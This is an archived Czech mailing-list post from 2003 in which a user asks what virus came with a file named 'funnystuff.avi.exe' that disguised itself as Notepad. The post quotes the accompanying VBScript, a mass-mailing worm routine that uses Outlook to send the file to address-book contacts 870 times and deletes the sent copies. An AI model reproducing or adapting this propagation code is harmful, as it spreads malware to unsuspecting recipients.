Zdravím všechny.
Neví někdo co je za vir, který mi přinesl soubor funnystuff.avi.exe , jenž se ve vlastnostech vydával za notepad a byl u něj tento skriptík:
On Error Resume Next
Set TEsNCEm=CreateObject("Outlook.Application")
For khDqtoQ=1 To 870
Set HAUINJM=TEsNCEm.CreateItem(0)
Set hwvNKsW = "C:\funnystuff.avi.exe"
HAUINJM.Attachments.Add (hwvNKsW)
HAUINJM.Body = "Mail Body" & vbcrlf & ""
HAUINJM.DeleteAfterSubmit = True
HAUINJM.To = TEsNCEm.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X)
HAUINJM.Subject = "Mail Subject"
HAUINJM.Send
Next
TEsNCEm.Quit
Rad
This archive was generated by hypermail 2.1.2 : 14. 01. 2003, 14:01 CET